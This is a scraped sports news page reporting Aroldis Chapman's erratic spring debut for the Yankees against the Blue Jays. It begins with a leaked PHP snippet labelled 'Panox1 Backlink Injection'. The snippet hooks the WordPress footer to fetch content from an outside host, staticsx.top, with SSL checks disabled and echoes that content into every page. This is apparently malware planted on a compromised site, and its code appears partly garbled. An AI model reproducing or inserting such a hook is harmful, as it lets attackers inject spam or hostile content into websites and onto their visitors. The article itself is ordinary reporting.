// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Aroldis Chapman hits two batters in wild spring debut – Next Sports News

Aroldis Chapman hits two batters in wild spring debut

[ad_1]

Aroldis Chapman didn't come close to reaching 105 mph with his fastball, but he didn't make up for it in control, either.Chris O’Meara/AP

Aroldis Chapman didn’t come close to reaching 105 mph with his fastball, but he didn’t make up for it in control, either.

TAMPA – Was that Aroldis Chapman or Ricky Vaughn pitching for the Yankees Thursday afternoon?

The Bombers’ new closer hit two batters and walked two more, allowing one run in just two-thirds of an inning of an 11-4 loss to the Blue Jays at Steinbrenner Field.

Hardly the spring debut the Yankees were hoping for from their biggest offseason acquisition.

It’s a stretch to worry about Chapman becoming the new “Wild Thing” – Vaughn’s nickname in the movie “Major League” for his lack of command – especially since he’s still two months away from being able to pitch in a meaningful game for the Yankees.

“I think it’s normal,” Chapman said through a translator when asked to describe his spring debut. “I didn’t have my control today but I feel great physically for my first game. I feel good.

“To me, it was a regular day.”

After Andrew Miller pitched the third inning and Dellin Betances handled the fourth, it was Chapman’s turn to throw. As Mark Teixeira watched him warm up, something occurred to the first baseman.

“It’s not an All-Star Game,” Teixeira said. “This is real.”

GOOSE GOSSAGE GOES OFF ON CESPEDES, BASEBALL ‘NERDS’

The Yankees players may have been excited to see Chapman jog in from the bullpen, but the 8,706 fans at Steinbrenner Field barely seemed to notice, expressing mostly indifference as he entered the game.

Chapman started the fifth inning with a strikeout of Toronto outfielder Darrell Ceciliani, who took a 95 mph fastball for strike three. Chapman then hit Ryan Goins with another 95 mph heater and walked Kevin Pillar, though he retired reigning AL MVP Josh Donaldson on a pop up.

Chapman hit Jose Bautista on his right foot with a slider, then walked Troy Tulowitzki, forcing in a run. That was enough for pitching coach Larry Rothschild, who lifted Chapman after 26 pitches, only nine of them strikes.

“Just because I didn’t have my control today doesn’t mean that I need to worry about that,” Chapman said. “This is spring training. All I need to focus on is keep on doing my daily work and I should be fine.”

“The stuff is there, obviously,” said bench coach Rob Thomson, who stood in as manager while Joe Girardi handled the split-squad game in Sarasota. “I don’t think we’re really worried about him right now.”

Chapman’s fastball was clocked as high as 98 mph, though that seemed slow for a pitcher routinely hitting triple-digits on the radar gun.

“Speed is something that I don’t worry about in spring training,” Chapman said. “I like to work on making good pitches.”

“I didn’t know what he was throwing, but it looks hard,” catcher Brian McCann said.

CHAPMAN GRATEFUL TO BE PITCHING THROUGH BAN

The Yankees closer has the rest of the spring to pitch before his 30-game suspension kicks in.Chris O’Meara/AP

The Yankees closer has the rest of the spring to pitch before his 30-game suspension kicks in.

Despite Chapman’s lack of command, it had to be a sweet sight for the Yankees to roll out their big three relievers back-to-back-to-back, especially against defending AL East champion Toronto.

Blue Jays manager John Gibbons was happy to see the three pitchers throw against his team in a spring game, giving his hitters an opportunity to get some experience against them in a meaningless situation.

“You can take all three of those guys and they’re probably in the top five or six relievers in baseball,” Gibbons said. “All three of them could be top-notch closers in baseball. There’s not a better bullpen out there, that’s for damn sure.

“You better get to them early or you’re in big trouble.”

The Yankees will take things slowly with Chapman this spring, as he’s not eligible to pitch in a regular-season game until May 9 thanks to his 30-game domestic violence suspension.

FOLLOW THE DAILY NEWS SPORTS ON FACEBOOK. “LIKE” US HERE.

Rothschild said Chapman won’t throw any back-to-back games during spring training, though he’ll have ample opportunity to do so when he works in extended spring games in April.

“Power guys, it’s takes them a while to get going, so I don’t think there’s too much there to be concerned about,” Rothschild said. “Knowing that the season’s not going to start right away, I think it’s a little different approach for him. But I think he’ll be better as we go.”

Tags:
aroldis chapman ,
new york yankees ,
mlb

This entry passed through the Full-Text RSS service – if this is your content and you’re reading it on someone else’s site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers.

[ad_2]

Source link

Reply